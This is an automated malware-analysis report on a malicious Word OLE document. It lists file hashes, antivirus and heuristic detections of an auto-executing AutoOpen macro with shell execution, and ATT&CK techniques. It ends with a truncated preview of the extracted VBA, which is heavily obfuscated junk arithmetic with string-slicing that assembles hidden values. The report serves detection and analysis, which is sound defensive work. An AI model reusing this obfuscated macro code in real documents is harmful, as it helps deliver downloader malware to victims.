Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3505b47b9590889a…

MALICIOUS

Office (OLE)

199.5 KB Created: 2017-12-22 18:13:00 Authoring application: Microsoft Office Word First seen: 2018-11-20
MD5: 17882932666c811aa032d08f4721c09c SHA-1: 780ec4544221dbb132103f314bf6e4538207b38d SHA-256: 3505b47b9590889aff08fa5cf38ffffda4dd58f0c102e8db84a89bc8693f758f
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OLE document containing VBA macros. A critical heuristic indicates the presence of an auto-executing macro (AutoOpen) that uses Shell execution. This suggests the macro is designed to download and execute a second-stage payload, a common technique for initial compromise.

Heuristics 5

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 26117 bytes
SHA-256: ea9e7ecfb16ac561a69d2bf06f1b73c0936a08149f00bcf7be64401d0626e1be
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "twCntwfOcJA"
Function wXRjPmLccdhh()
On Error Resume Next
rBlcfiBPOcG = 871 / Rnd(4) + LbIQuHqJO + pFJcRtWNuJoON * 9 + Int(nnqAnjHjh * CStr(YXNnjqHYRjsMR)) + JCrwPRY * CDate(3624 - 352183467 * 84 / 475) / OpdHQpVihJXQEu - CSng(620)
YzwXB = 871 / Rnd(4) + nwChjGLK + JdTtHHjMQN * 9 + Int(QaosHWvjB * CStr(OVcktRq)) + GkzWEbzz * CDate(3624 - 352183467 * 84 / 475) / jWiRbibwNJKa - CSng(620)
niBGQF = Mid("zjoO93SjwaOuq8qkLrNr", 8, 2)
BdXYZr = 871 / Rnd(4) + ijDBPzhbbVp + koLQQUbJYJZZR * 9 + Int(jzioAzP * CStr(IPLPJzhOCl)) + wltVtGwckHY * CDate(3624 - 352183467 * 84 / 475) / ijNOhsmU - CSng(620)
jakiwEOpUqN = 871 / Rnd(4) + cTTVSSo + PANuTMA * 9 + Int(YYRnRkVK * CStr(JazRSBwBBbw)) + bjdwVGO * CDate(3624 - 352183467 * 84 / 475) / jUiWCYVJQjs - CSng(620)
QkqozsPRW = 871 / Rnd(4) + cNfvEBLccKHnw + RpdphEUiPk * 9 + Int(hfvlzWQQ * CStr(WXNaoFlAIzRT)) + QvYECEQXzwv * CDate(3624 - 352183467 * 84 / 475) / WVPqdorWOzubD - CSng(620)
GqknFS = Mid("zC7urkPLtSvo5vwiM1qj3knGTfNSBGiwBnc", 27, 7)
nNKUhq = 871 / Rnd(4) + JqIsrkwzQsSkDI + soowdGjwovaOuf * 9 + Int(lSjzukXkGlKP * CStr(qCuSubcV)) + mOrcuUwQVCT * CDate(3624 - 352183467 * 84 / 475) / HzAEOMVDiLT - CSng(620)
ojaRTrqj = 871 / Rnd(4) + IAVshOXh + liPRjtpBAj * 9 + Int(GXSwoOMhUMfQ * CStr(onVwXLj)) + MOkArcFJGwQXr * CDate(3624 - 352183467 * 84 / 475) / liWESCq - CSng(620)
rZnLQv = 871 / Rnd(4) + TFmBIUSDRKfVI + pDopPHwij * 9 + Int(uOjPHRs * CStr(uAIpivIBkPM)) + UiwwWRPsvLtlWj * CDate(3624 - 352183467 * 84 / 475) / toCvAREa - CSng(620)
ChlUwId = Mid("5GLFG1RFLMHwwTUiicUDVNJT5B8jYbLKZMHz", 31, 2)
zDXnlBjSHLI = 871 / Rnd(4) + JGSKdvXs + pzvtIhwwmHY * 9 + Int(NPsMnCnaT * CStr(izzFiihwJlNUb)) + wHcAXHjuRw * CDate(3624 - 352183467 * 84 / 475) / qawpskRLzVztDC - CSng(620)
fbLAPFbj = 871 / Rnd(4) + CDGkBBwwBjJs + iViizLOQq * 9 + Int(RspQsRJUjSzOp * CStr(iHfjilZcSAiwW)) + vHEWLKp * CDate(3624 - 352183467 * 84 / 475) / MkFjrMcZRUjqD - CSng(620)
aILfI = 871 / Rnd(4) + PnznAtnUQ + ZmCLLjjBJnH * 9 + Int(IRAvIdCzOZzH * CStr(swdzCDGhKSwPz)) + lQsuPIjijnFl * CDate(3624 - 352183467 * 84 / 475) / RRRAovTS - CSng(620)
EjvtUpHt = Mid("F9jUWQ3Fr9fwOBvGiijGGlNBK4tV", 11, 1)
PqlVjNd = 871 / Rnd(4) + jhhFTpaohwvDY + OcCizmvuaB * 9 + Int(MzsiOPfCEbWpG * CStr(AQXDIlnoELpRB)) + RwmHfMGpiFTjP * CDate(3624 - 352183467 * 84 / 475) / Tzrnwnz - CSng(620)
DRjtZI = 871 / Rnd(4) + nCPiFNJtVIwsYT + JHRnzVnd * 9 + Int(nVuSkabO * CStr(kPAWFAt)) + AwwoUSIpiiS * CDate(3624 - 352183467 * 84 / 475) / aYzZIuk - CSng(620)
oiBVz = 871 / Rnd(4) + XrRQFYuhtw + nkIpPJtkK * 9 + Int(RkbWmUHUCVOv * CStr(YupPGhuAMWScQL)) + biCDmnGH * CDate(3624 - 352183467 * 84 / 475) / uTEnNrbArpkuZ - CSng(620)
ozzSkI = Mid("AkGX3wDD7rrs&BLb5kwA", 10, 4)
HNucLbXU = 871 / Rnd(4) + rIujkqnDK + CRuTUpjSSCmcC * 9 + Int(JHbMPbNKQZprE * CStr(EifEivfAL)) + DKsqcijO * CDate(3624 - 352183467 * 84 / 475) / BWdPboj - CSng(620)
ltuKG = 871 / Rnd(4) + XuKnOitUkjuSd + PYiqCpPrhMLP * 9 + Int(cClDtIR * CStr(hsEUutFjlITwbp)) + zpEFdjMzbz * CDate(3624 - 352183467 * 84 / 475) / RRzdBKLmif - CSng(620)
kJLwNQMd = 871 / Rnd(4) + sAUidlROoX + wHMIvUIFiWhi * 9 + Int(alCsaODQvVnAr * CStr(aZbcoKwQwoO)) + uTjACKSbDriY * CDate(3624 - 352183467 * 84 / 475) / ZTRDmZIEsijHu - CSng(620)
kXicjOcIROv = Mid("1RN&sBQENGs6VwI7ArQdzWBwjBBiKz3lk", 4, 2)
iiqEiolzBp = 871 / Rnd(4) + WIvKIvEsSin + lNoCnOUvcUUc * 9 + Int(jHHJkoHoUSwJT * CStr(RtjjuijNPM)) + XXNkBBnT * CDate(3624 - 352183467 * 84 / 475) / YowiipjtQv - CSng(620)
ZmfHj = 871 / Rnd(4) + WZnJkjULDv + dzfvTbhLzz * 9 + Int(lMfoifOWtVFca * CStr(tMnCVlaohvu)) + IZPnoOajobiwBo * CDate(3624 - 352183467 * 84 / 475) / hCzXUFTZPtIdNP - CSng(620)
frDOwtAW = 871 / Rnd(4) + sUrDBtoawDWru + MRtDTQI * 9 + Int(wzczAzFzpwUUO * CStr(jJjHNNV)) + CzBjVYmqz * CDate(3624 - 352183467 * 84 / 475) / jCYrbDtqUAN - CSng(620)
IAoBU = Mid("wGjVrBRBYZCZYG %KLKDrCQ%vQ", 15, 10)
ZcmGI = 871 / Rnd(4) + ikumXpHFjrCtnS + rBhotlhXZqoz * 9 + Int(tfkMRqwtCORHaw * CStr(fSMjHjCHwY)) + LzMUwjpHLA * CDate(3624 - 352183467 * 84 / 475) / pbzWopnP - CSng(620)
CnhADC = 871 / Rnd(4) + dRrHbDQOlF + zdBRoCiYCqOoXK * 9 + Int(nKHumWa 
... (truncated)